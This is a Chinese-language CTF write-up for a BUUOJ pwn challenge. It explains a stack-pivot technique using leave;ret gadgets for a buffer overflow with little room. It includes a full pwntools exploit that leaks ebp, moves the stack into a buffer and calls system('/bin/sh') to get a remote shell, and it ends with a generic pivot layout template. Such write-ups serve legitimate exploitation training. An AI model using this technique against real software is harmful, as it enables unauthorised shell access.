1,三连
程序功能:两次输入
题目类型猜测:栈溢出,栈迁移
2,ida分析
溢出点:
system_plt地址:
思路:由于无直接getshell的利用函数,溢出空间只有8字节(ebp+ret占用无法继续填充ROP了),所以需要栈迁移更大的空间来构造ROP
栈迁移核心(通过ROPGadget寻找 leave
+retn
组合):
leave;
等价
mov esp ebp //利用它执行达成栈迁移
pop ebp //单纯执行下
作用:负责栈迁移
retn;
等价
pop eip
作用:赋值执行函数调用
3,
此栈帧迁移到s[40]数组的位置,先通过第一次打印泄露s[40]的起始地址。
payload
from pwn import *
context.log_level="debug"
r=remote('node4.buuoj.cn',26060)
sys_addr=0x8048400
leave_ret=0x080484b8
payload='a'*0x24+'bbbb'
r.recvuntil('name?')
r.send(payload)
r.recvuntil('bbbb')
ebp=u32(r.recv(4).ljust(4,'\x00'))
print 'ebp='+hex(ebp)
buf=ebp-0x38
payload=(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf-4)+p32(leave_ret)
r.send(payload)
r.interactive()
栈图布局可参考:
https://blog.csdn.net/mcmuyanga/article/details/112462462
总结下栈迁移固定布局套路:
ebp位置:栈迁移位置-4(32位)
ret位置:leave_ret
栈迁移位置:执行函数+0xdeadbeef(假ebp)+0xdeadbeef(假ret)+参数